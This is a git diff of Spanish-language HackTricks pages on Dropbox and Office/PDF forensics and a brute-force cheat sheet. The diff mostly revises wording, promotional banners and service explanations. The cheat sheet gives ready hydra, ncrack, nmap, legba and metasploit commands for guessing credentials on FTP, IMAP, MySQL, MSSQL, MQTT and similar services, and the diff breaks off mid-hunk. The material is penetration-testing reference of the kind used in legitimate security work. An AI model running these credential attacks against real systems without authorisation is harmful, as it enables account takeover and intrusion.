Si todo va según lo esperado, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente utiliza este [recibo de cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) poniendo la clave primaria como "contraseña" dentro del recibo.
|
||||
Si todo va según lo esperado, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente utiliza esta [receta de cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) poniendo la clave primaria como "contraseña" dentro de la receta.
|
||||
|
||||
El hex resultante es la clave final utilizada para encriptar las bases de datos que se pueden descifrar con:
|
||||
```bash
|
||||
|
@ -108,16 +108,16 @@ La base de datos **`filecache.db`** contiene información sobre todos los archiv
|
|||
Otras tablas dentro de esta base de datos contienen información más interesante:
|
||||
|
||||
- **block\_cache**: hash de todos los archivos y carpetas de Dropbox
|
||||
- **block\_ref**: Relaciona el ID hash de la tabla `block_cache` con el ID de archivo en la tabla `file_journal`
|
||||
- **block\_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID de archivo en la tabla `file_journal`
|
||||
- **mount\_table**: Compartir carpetas de Dropbox
|
||||
- **deleted\_fields**: Archivos eliminados de Dropbox
|
||||
- **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Accede hoy mismo:
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -128,7 +128,7 @@ Accede hoy mismo:
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
- Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -22,7 +22,7 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
Para obtener más información, consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Esto es solo un resumen:
|
||||
Para obtener más información, visita [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Esto es solo un resumen:
|
||||
|
||||
Microsoft ha creado muchos formatos de documentos de oficina, con dos tipos principales siendo los formatos **OLE** (como RTF, DOC, XLS, PPT) y los formatos **Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, convirtiéndolos en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite su inspección descomprimiéndolos, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML.
|
||||
|
||||
|
@ -30,29 +30,29 @@ Para explorar las estructuras de archivos OOXML, se proporciona el comando para
|
|||
|
||||
Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, descargando y ejecutando cargas maliciosas adicionales. El análisis de macros VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación.
|
||||
|
||||
La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para instalar a través de pip y extraer macros de documentos. La ejecución automática de macros se desencadena mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`.
|
||||
La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para la instalación a través de pip y la extracción de macros de documentos. La ejecución automática de macros se desencadena mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,13 +8,13 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -24,18 +24,18 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
**Para más detalles, consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
El formato PDF es conocido por su complejidad y potencial para ocultar datos, convirtiéndolo en un punto focal para desafíos forenses de CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o encriptados, e incluso puede incluir scripts en lenguajes como JavaScript o Flash. Para comprender la estructura de un PDF, se puede consultar el material introductorio de Didier Stevens [aquí](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizar herramientas como un editor de texto o un editor específico de PDF como Origami.
|
||||
El formato PDF es conocido por su complejidad y potencial para ocultar datos, convirtiéndolo en un punto focal para desafíos forenses de CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o encriptados, e incluso puede incluir scripts en lenguajes como JavaScript o Flash. Para entender la estructura de un PDF, se puede consultar el material introductorio de Didier Stevens [aquí](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizar herramientas como un editor de texto o un editor específico de PDF como Origami.
|
||||
|
||||
Para explorar o manipular PDFs en profundidad, se pueden utilizar herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDF pueden estar camuflados en:
|
||||
|
||||
* Capas invisibles
|
||||
* Formato de metadatos XMP de Adobe
|
||||
* Generaciones incrementales
|
||||
* Texto con el mismo color que el fondo
|
||||
* Texto del mismo color que el fondo
|
||||
* Texto detrás de imágenes o superpuesto a imágenes
|
||||
* Comentarios no mostrados
|
||||
|
||||
Para un análisis personalizado de PDF, se pueden utilizar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis a medida. Además, el potencial de los PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentre alojada en su ubicación original, aún ofrecen información valiosa. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos de formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) por Ange Albertini pueden proporcionar lecturas adicionales sobre el tema.
|
||||
Para un análisis personalizado de PDF, se pueden utilizar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis personalizados. Además, el potencial de los PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentre en su ubicación original, aún ofrecen información valiosa. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos de formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) por Ange Albertini pueden proporcionar lecturas adicionales sobre el tema.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -45,7 +45,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Fuerza Bruta - Hoja de Trucos
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -10,13 +10,13 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%%
|
|||
```
|
||||
### Cewl
|
||||
|
||||
Cewl es una herramienta que se utiliza para generar listas de palabras clave a partir de un sitio web. Esto se logra escaneando el sitio y extrayendo palabras individuales que luego se utilizan en ataques de fuerza bruta o para crear diccionarios de contraseñas.
|
||||
Cewl es una herramienta que se utiliza para generar listas de palabras clave a partir de un sitio web. Esto puede ser útil para realizar ataques de fuerza bruta o para crear listas de posibles contraseñas.
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
|
@ -102,7 +102,7 @@ Finished in 0.920s.
|
|||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -125,14 +125,6 @@ msf> set USER_FILE <PATH_USERS>
|
|||
msf> run
|
||||
```
|
||||
### AJP
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against the AJP protocol can be carried out using tools like Hydra or Burp Suite Intruder. These tools can be used to guess usernames and passwords by systematically trying all possible combinations until the correct one is found.
|
||||
|
||||
#### Protection
|
||||
|
||||
To protect against brute force attacks on the AJP protocol, it is recommended to implement strong password policies, enable account lockout mechanisms after a certain number of failed login attempts, and use multi-factor authentication where possible. Additionally, monitoring and logging login attempts can help detect and respond to brute force attacks in a timely manner.
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
```
|
||||
|
@ -141,8 +133,6 @@ nmap --script ajp-brute -p 8009 <IP>
|
|||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||||
```
|
||||
### Cassandra
|
||||
|
||||
Cassandra es una base de datos distribuida altamente escalable que permite el almacenamiento y gestión de grandes cantidades de datos en múltiples servidores sin un único punto de fallo.
|
||||
```bash
|
||||
nmap --script cassandra-brute -p 9160 <IP>
|
||||
# legba ScyllaDB / Apache Casandra
|
||||
|
@ -150,7 +140,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
|
|||
```
|
||||
### CouchDB
|
||||
|
||||
CouchDB es una base de datos NoSQL que se puede atacar mediante fuerza bruta.
|
||||
CouchDB es una base de datos NoSQL que se puede atacar mediante fuerza bruta para intentar adivinar credenciales débiles.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
|
@ -163,15 +153,13 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
|
|||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta es un método comúnmente utilizado para descifrar contraseñas y nombres de usuario. Consiste en probar todas las combinaciones posibles de caracteres hasta encontrar la correcta. En el contexto de Elasticsearch, la fuerza bruta se puede utilizar para intentar adivinar credenciales de acceso a un clúster Elasticsearch. Es importante implementar medidas de seguridad sólidas, como contraseñas fuertes y limitación de intentos de inicio de sesión, para protegerse contra ataques de fuerza bruta.
|
||||
La fuerza bruta es un método comúnmente utilizado para descifrar contraseñas y encontrar información sensible al probar todas las combinaciones posibles de caracteres. En el contexto de Elasticsearch, la fuerza bruta puede ser utilizada para intentar adivinar credenciales de acceso o para encontrar documentos sensibles al probar diferentes consultas de búsqueda. Es importante implementar medidas de seguridad sólidas, como contraseñas seguras y limitaciones en los intentos de inicio de sesión, para protegerse contra ataques de fuerza bruta.
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
### FTP
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against FTP servers involve trying to guess the username and password combinations to gain unauthorized access. Attackers use automated tools to systematically try all possible combinations until the correct one is found. This method is time-consuming but can be effective if weak credentials are used. It is essential to use strong, unique passwords and implement account lockout policies to prevent successful brute force attacks.
|
||||
### FTP
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -208,7 +196,20 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
|||
```
|
||||
### IMAP
|
||||
|
||||
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP permits the user to view and manipulate the messages as though they were stored locally on the user's device.
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against IMAP are typically carried out using the `hydra` tool. The following command can be used to launch a brute force attack against an IMAP server:
|
||||
|
||||
```bash
|
||||
hydra -l <username> -P <wordlist> -f <target_ip> imap
|
||||
```
|
||||
|
||||
- `-l`: Specify the username to attack.
|
||||
- `-P`: Specify the wordlist containing passwords to try.
|
||||
- `-f`: Stop the attack once the correct password is found.
|
||||
- `imap`: Specify the protocol to attack.
|
||||
|
||||
It is important to note that brute force attacks can be detected by intrusion detection systems (IDS) and can lead to account lockouts.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
|
@ -219,17 +220,19 @@ legba imap --username user --password data/passwords.txt --target localhost:993
|
|||
|
||||
#### Fuerza bruta
|
||||
|
||||
La técnica de fuerza bruta se puede utilizar para adivinar contraseñas en servidores IRC. Herramientas como Hydra y Ncrack son comúnmente utilizadas para realizar ataques de fuerza bruta contra servidores IRC. Estas herramientas pueden probar una lista de contraseñas predefinidas contra un nombre de usuario específico en un servidor IRC.
|
||||
La fuerza bruta en IRC implica intentar adivinar nombres de canales y mensajes privados. Los scripts de fuerza bruta pueden automatizar este proceso, intentando diferentes combinaciones de nombres de canales y mensajes privados para encontrar canales activos o usuarios específicos.
|
||||
```bash
|
||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||
```
|
||||
### ISCSI
|
||||
|
||||
### ISCSI
|
||||
```bash
|
||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||
```
|
||||
### JWT
|
||||
|
||||
JSON Web Tokens (JWT) son un método común para autenticar usuarios y compartir información de forma segura entre partes.
|
||||
JWT (JSON Web Tokens) son un estándar abierto (RFC 7519) que define un formato compacto y autónomo para transmitir de forma segura la información entre dos partes como un objeto JSON. Esta información puede ser verificada y confiable debido a que está firmada digitalmente. Los JWT constan de tres partes separadas por puntos: la cabecera, la carga útil y la firma.
|
||||
```bash
|
||||
#hashcat
|
||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||
|
@ -259,7 +262,7 @@ legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwor
|
|||
```
|
||||
### MQTT
|
||||
|
||||
MQTT (Message Queuing Telemetry Transport) es un protocolo de mensajería ligero diseñado para dispositivos con ancho de banda limitado o conexiones inestables. Se basa en el modelo de publicación/suscripción, donde los clientes se conectan a un servidor MQTT (broker) y pueden publicar mensajes en "temas" o suscribirse a ellos para recibir mensajes. MQTT es comúnmente utilizado en aplicaciones IoT para la comunicación entre dispositivos y servidores.
|
||||
MQTT (Message Queuing Telemetry Transport) es un protocolo de mensajería ligero diseñado para dispositivos con ancho de banda limitado o conexiones inestables.
|
||||
```
|
||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||||
|
@ -274,13 +277,15 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
|
|||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta es un método comúnmente utilizado para descifrar contraseñas de bases de datos MSSQL. Se pueden utilizar herramientas como Hydra o Ncrack para realizar ataques de fuerza bruta contra servidores MSSQL. Estas herramientas intentarán diferentes combinaciones de contraseñas hasta encontrar la correcta. Es importante tener en cuenta que los ataques de fuerza bruta pueden ser detectados por sistemas de defensa como firewalls o sistemas de detección de intrusiones.
|
||||
La fuerza bruta es un método comúnmente utilizado para obtener credenciales de inicio de sesión de bases de datos MSSQL. Se pueden utilizar herramientas como Hydra, Ncrack o incluso un script personalizado para realizar ataques de fuerza bruta contra servidores MSSQL.
|
||||
```bash
|
||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||
```
|
||||
### MySQL
|
||||
|
||||
MySQL es un sistema de gestión de bases de datos relacional de código abierto ampliamente utilizado.
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta es un método comúnmente utilizado para descifrar contraseñas de bases de datos MySQL. Consiste en probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Herramientas como Hydra y Medusa son populares para llevar a cabo ataques de fuerza bruta en MySQL. Es importante tener en cuenta que el uso de la fuerza bruta puede ser detectado por sistemas de seguridad y resultar en bloqueos de cuentas o direcciones IP.
|
||||
```bash
|
||||
# hydra
|
||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||
|
@ -296,23 +301,9 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
|
|||
```
|
||||
### OracleSQL
|
||||
|
||||
#### Brute Force
|
||||
#### Fuerza bruta
|
||||
|
||||
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used when the password is unknown or when there is no other way to gain access. Brute force attacks can be time-consuming but are usually effective.
|
||||
|
||||
##### Tools
|
||||
|
||||
- **Hydra**: A popular tool for performing brute force attacks. It supports multiple protocols and can be used to crack passwords.
|
||||
- **Ncrack**: Another tool for network authentication cracking. It is designed for high-speed parallel connections and is very flexible.
|
||||
- **Metasploit**: A penetration testing framework that includes a module for brute forcing Oracle databases. It can be used to test the security of Oracle systems.
|
||||
|
||||
##### Techniques
|
||||
|
||||
- **Dictionary Attack**: Involves using a predefined list of passwords to attempt to gain access. This method is more efficient than random guessing.
|
||||
- **Hybrid Attack**: Combines dictionary words with numbers and symbols to increase the chances of success.
|
||||
- **Rainbow Table Attack**: Uses precomputed tables to crack passwords. This method is faster than traditional brute force attacks.
|
||||
|
||||
By understanding and utilizing these techniques and tools, hackers can attempt to gain unauthorized access to Oracle databases through brute force attacks.
|
||||
La fuerza bruta es un método comúnmente utilizado para descifrar contraseñas. Consiste en probar sistemáticamente todas las posibles combinaciones de contraseñas hasta encontrar la correcta. En el contexto de OracleSQL, esto implica probar diferentes combinaciones de contraseñas para intentar acceder a una base de datos protegida. Este método puede ser efectivo, pero puede llevar mucho tiempo dependiendo de la complejidad de la contraseña.
|
||||
```bash
|
||||
